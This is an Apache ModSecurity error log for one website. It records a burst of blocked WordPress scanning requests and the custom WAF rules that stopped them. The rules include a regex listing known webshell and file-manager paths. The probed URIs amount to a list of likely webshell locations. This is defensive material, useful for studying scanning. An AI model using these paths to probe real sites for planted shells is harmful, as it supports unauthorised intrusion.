[Fri Jan 09 20:19:39.053210 2026] [:error] [pid 1366:tid 1373] [client 85.203.21.178:33159] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/znv3hcxz6mwjdz1jwxrxiCakc.php"] [unique_id "aWDyWxmasveKu8_ec1VqBwAAAYQ"]
[Fri Jan 09 20:19:39.405394 2026] [:error] [pid 30020:tid 30055] [client 85.203.21.195:22451] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWDyW8rjc66qOisG6L3YRgAAAIE"]
[Fri Jan 09 20:19:39.754438 2026] [:error] [pid 14801:tid 14807] [client 85.203.21.221:41209] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/form.php"] [unique_id "aWDyW98UWXrz_OQYgF1jSwAAAkQ"]
[Fri Jan 09 20:19:42.704769 2026] [:error] [pid 1366:tid 1371] [client 85.203.21.201:50523] [client 85.203.21.201] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-links-opml.php"] [unique_id "aWDyXhmasveKu8_ec1VqCgAAAYM"]
[Fri Jan 09 20:19:43.097648 2026] [:error] [pid 14801:tid 14827] [client 85.203.21.213:25401] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/new4.php"] [unique_id "aWDyX98UWXrz_OQYgF1jTQAAAlg"]
[Fri Jan 09 20:19:43.451938 2026] [:error] [pid 14872:tid 14876] [client 85.203.21.159:21677] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWDyX6IUELhgYLNp1sY3VwAAAsI"]
[Fri Jan 09 20:19:43.839487 2026] [:error] [pid 14872:tid 14894] [client 85.203.21.227:44213] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/uk5pqv0wksbuaourleCakc.php"] [unique_id "aWDyX6IUELhgYLNp1sY3WQAAAtQ"]
[Fri Jan 09 20:19:44.201578 2026] [:error] [pid 14831:tid 14833] [client 85.203.21.195:25083] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/aa.php"] [unique_id "aWDyYPaKOMCmJcAyBm04vQAAAoA"]
[Fri Jan 09 20:19:44.552992 2026] [:error] [pid 1366:tid 1388] [client 85.203.21.237:52039] [client 85.203.21.237] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/admin.php"] [unique_id "aWDyYBmasveKu8_ec1VqDQAAAZM"]
[Fri Jan 09 20:19:44.912927 2026] [:error] [pid 44848:tid 44874] [client 85.203.21.217:43285] [client 85.203.21.217] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/shell.php"] [unique_id "aWDyYKjajoTJAbEk87zJRwAAAFg"]
[Fri Jan 09 20:19:45.301808 2026] [:error] [pid 1366:tid 1380] [client 85.203.21.221:52979] [client 85.203.21.221] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/new.php"] [unique_id "aWDyYRmasveKu8_ec1VqEAAAAYs"]
[Fri Jan 09 20:19:45.653932 2026] [:error] [pid 14739:tid 14743] [client 85.203.21.206:48027] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/themes.php"] [unique_id "aWDyYV63M6_PkLt_IJJoZAAAAcI"]
[Fri Jan 09 20:19:46.013442 2026] [:error] [pid 1366:tid 1393] [client 85.203.21.41:58545] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/test1.php"] [unique_id "aWDyYhmasveKu8_ec1VqEwAAAZg"]
[Fri Jan 09 20:19:46.366009 2026] [:error] [pid 1366:tid 1368] [client 85.203.21.213:39763] [client 85.203.21.213] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aWDyYhmasveKu8_ec1VqFQAAAYA"]
[Fri Jan 09 20:19:51.760301 2026] [:error] [pid 44848:tid 44872] [client 85.203.21.170:35513] [client 85.203.21.170] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/admin.php"] [unique_id "aWDyZ6jajoTJAbEk87zJUAAAAFY"]
[Fri Jan 09 20:19:52.115558 2026] [:error] [pid 14831:tid 14847] [client 85.203.21.41:48997] [client 85.203.21.41] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/"] [unique_id "aWDyaPaKOMCmJcAyBm04wAAAAo4"]
[Fri Jan 09 20:19:52.462717 2026] [:error] [pid 30021:tid 30087] [client 85.203.21.162:56199] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/aatdgetgdg/main.php"] [unique_id "aWDyaA_M8aRtsTog5J-eiQAAAMY"]
[Fri Jan 09 20:19:52.816497 2026] [:error] [pid 14801:tid 14814] [client 85.203.21.204:29925] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aWDyaN8UWXrz_OQYgF1jVwAAAks"]
[Fri Jan 09 20:19:53.169863 2026] [:error] [pid 30020:tid 30058] [client 85.203.21.186:26257] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/filemanager.php"] [unique_id "aWDyacrjc66qOisG6L3YTwAAAIQ"]
[Fri Jan 09 20:19:53.520070 2026] [:error] [pid 30021:tid 30094] [client 85.203.21.204:37351] [client 85.203.21.204] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/cache/"] [unique_id "aWDyaQ_M8aRtsTog5J-eigAAAM0"]
[Fri Jan 09 20:19:53.869225 2026] [:error] [pid 30019:tid 30041] [client 85.203.21.186:61689] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aWDyaUz3igHGwX5f7IrnpwAAABE"]
[Fri Jan 09 20:19:54.222747 2026] [:error] [pid 30019:tid 30028] [client 85.203.21.192:28013] [client 85.203.21.192] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/upload/"] [unique_id "aWDyakz3igHGwX5f7IrnqAAAAAQ"]
[Fri Jan 09 20:19:54.570586 2026] [:error] [pid 30019:tid 30026] [client 85.203.21.195:53493] [client 85.203.21.195] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/ioxi-o.php"] [unique_id "aWDyakz3igHGwX5f7IrnqgAAAAI"]
[Fri Jan 09 20:19:54.927143 2026] [:error] [pid 30019:tid 30029] [client 85.203.21.222:28999] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/file.php"] [unique_id "aWDyakz3igHGwX5f7IrnrAAAAAU"]
[Fri Jan 09 20:19:55.284082 2026] [:error] [pid 30020:tid 30054] [client 85.203.21.227:61013] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/"] [unique_id "aWDya8rjc66qOisG6L3YVAAAAIA"]
[Fri Jan 09 20:19:55.640656 2026] [:error] [pid 14801:tid 14823] [client 85.203.21.157:40849] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/admin.php"] [unique_id "aWDya98UWXrz_OQYgF1jWgAAAlQ"]
[Fri Jan 09 20:19:56.001811 2026] [:error] [pid 14801:tid 14826] [client 85.203.21.157:55671] [client 85.203.21.157] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/network/"] [unique_id "aWDybN8UWXrz_OQYgF1jWwAAAlc"]
[Fri Jan 09 20:19:56.359509 2026] [:error] [pid 14801:tid 14804] [client 85.203.21.223:62363] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/"] [unique_id "aWDybN8UWXrz_OQYgF1jXAAAAkE"]
[Fri Jan 09 20:19:56.715923 2026] [:error] [pid 30020:tid 30067] [client 85.203.21.210:48149] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/5PJcpMFsD8B.php"] [unique_id "aWDybMrjc66qOisG6L3YWgAAAI0"]
[Fri Jan 09 20:19:57.064452 2026] [:error] [pid 30020:tid 30066] [client 85.203.21.159:35891] [client 85.203.21.159] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/abcd.php"] [unique_id "aWDybcrjc66qOisG6L3YWwAAAIw"]
[Fri Jan 09 20:19:57.421146 2026] [:error] [pid 14872:tid 14898] [client 85.203.21.54:59735] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aWDybaIUELhgYLNp1sY3WwAAAtg"]
[Fri Jan 09 20:19:57.779302 2026] [:error] [pid 30020:tid 30057] [client 85.203.21.227:58671] [client 85.203.21.227] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/css.php"] [unique_id "aWDybcrjc66qOisG6L3YXQAAAIM"]
[Fri Jan 09 20:19:58.129157 2026] [:error] [pid 30020:tid 30074] [client 85.203.21.155:20171] [client 85.203.21.155] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-good.php"] [unique_id "aWDybsrjc66qOisG6L3YXgAAAJQ"]
[Fri Jan 09 20:19:58.481653 2026] [:error] [pid 30020:tid 30078] [client 85.203.21.208:60445] [client 85.203.21.208] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/lock360.php"] [unique_id "aWDybsrjc66qOisG6L3YXwAAAJg"]
[Fri Jan 09 20:19:58.828988 2026] [:error] [pid 14872:tid 14874] [client 85.203.21.45:51635] [client 85.203.21.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/themes.php"] [unique_id "aWDybqIUELhgYLNp1sY3XAAAAsA"]
[Fri Jan 09 20:19:59.176468 2026] [:error] [pid 14770:tid 14780] [client 85.203.21.52:39377] [client 85.203.21.52] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/updates.php"] [unique_id "aWDybx5QbaVZ-6newJY79AAAAgg"]
[Fri Jan 09 20:19:59.530841 2026] [:error] [pid 30021:tid 30081] [client 85.203.21.156:42313] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/so-pinyin-slugs/inc/main_json.php"] [unique_id "aWDybw_M8aRtsTog5J-ejAAAAMA"]
[Fri Jan 09 20:19:59.879505 2026] [:error] [pid 14872:tid 14884] [client 85.203.21.162:62431] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/revslider/includes/external/page/"] [unique_id "aWDyb6IUELhgYLNp1sY3XQAAAso"]
[Fri Jan 09 20:20:00.228106 2026] [:error] [pid 14770:tid 14776] [client 85.203.21.184:33111] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/blocks/code/"] [unique_id "aWDycB5QbaVZ-6newJY79QAAAgQ"]
[Fri Jan 09 20:20:00.619206 2026] [:error] [pid 30020:tid 30068] [client 85.203.21.232:36377] [client 85.203.21.232] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/3PJcpMFsD8B.php"] [unique_id "aWDycMrjc66qOisG6L3YYwAAAI4"]
[Fri Jan 09 20:20:06.034793 2026] [:error] [pid 14872:tid 14875] [client 85.203.21.222:26103] [client 85.203.21.222] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/class.api.php"] [unique_id "aWDydqIUELhgYLNp1sY3YQAAAsE"]
[Fri Jan 09 20:20:06.415399 2026] [:error] [pid 14801:tid 14812] [client 85.203.21.54:30655] [client 85.203.21.54] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/about.php"] [unique_id "aWDydt8UWXrz_OQYgF1jYgAAAkk"]
[Fri Jan 09 20:20:06.774958 2026] [:error] [pid 30019:tid 30032] [client 85.203.21.228:29273] [client 85.203.21.228] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/bless.php"] [unique_id "aWDydkz3igHGwX5f7IrntgAAAAg"]
[Fri Jan 09 20:20:07.148104 2026] [:error] [pid 14831:tid 14835] [client 85.203.21.188:50887] [client 85.203.21.188] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-includes/"] [unique_id "aWDyd_aKOMCmJcAyBm04xQAAAoI"]
[Fri Jan 09 20:20:07.497111 2026] [:error] [pid 1366:tid 1391] [client 85.203.21.186:33751] [client 85.203.21.186] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/index/function.php"] [unique_id "aWDydxmasveKu8_ec1VqKgAAAZY"]
[Fri Jan 09 20:20:07.853331 2026] [:error] [pid 30021:tid 30098] [client 85.203.21.206:61035] [client 85.203.21.206] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-config-sample.php"] [unique_id "aWDydw_M8aRtsTog5J-ekgAAANE"]
[Fri Jan 09 20:20:08.208119 2026] [:error] [pid 1366:tid 1374] [client 85.203.21.223:21199] [client 85.203.21.223] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/k.php"] [unique_id "aWDyeBmasveKu8_ec1VqLAAAAYU"]
[Fri Jan 09 20:20:08.571786 2026] [:error] [pid 44848:tid 44853] [client 85.203.21.162:34845] [client 85.203.21.162] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/themes/admin.php"] [unique_id "aWDyeKjajoTJAbEk87zJVQAAAEM"]
[Fri Jan 09 20:20:08.922817 2026] [:error] [pid 30020:tid 30070] [client 85.203.21.184:61933] [client 85.203.21.184] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/fm.php"] [unique_id "aWDyeMrjc66qOisG6L3YZgAAAJA"]
[Fri Jan 09 20:20:09.293634 2026] [:error] [pid 30020:tid 30063] [client 85.203.21.156:40947] [client 85.203.21.156] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-content/languages/plugins/"] [unique_id "aWDyecrjc66qOisG6L3YaAAAAIk"]
[Fri Jan 09 20:20:09.662686 2026] [:error] [pid 44848:tid 44870] [client 85.203.21.160:38983] [client 85.203.21.160] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/autoload_classmap/function.php"] [unique_id "aWDyeajajoTJAbEk87zJWAAAAFQ"]
[Fri Jan 09 20:20:10.014759 2026] [:error] [pid 14739:tid 14755] [client 85.203.21.210:21601] [client 85.203.21.210] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/posts"] [unique_id "aWDyel63M6_PkLt_IJJobAAAAc4"]
[Fri Jan 09 20:20:10.463482 2026] [:error] [pid 30019:tid 30024] [client 85.203.21.58:32503] [client 85.203.21.58] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/wp-admin/js/widgets/admin.php"] [unique_id "aWDyekz3igHGwX5f7IrnuAAAAAA"]
[Fri Jan 09 20:20:10.824321 2026] [:error] [pid 44848:tid 44852] [client 85.203.21.178:30809] [client 85.203.21.178] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "gigfragments.org"] [uri "/classwithtostring.php"] [unique_id "aWDyeqjajoTJAbEk87zJWQAAAEI"]
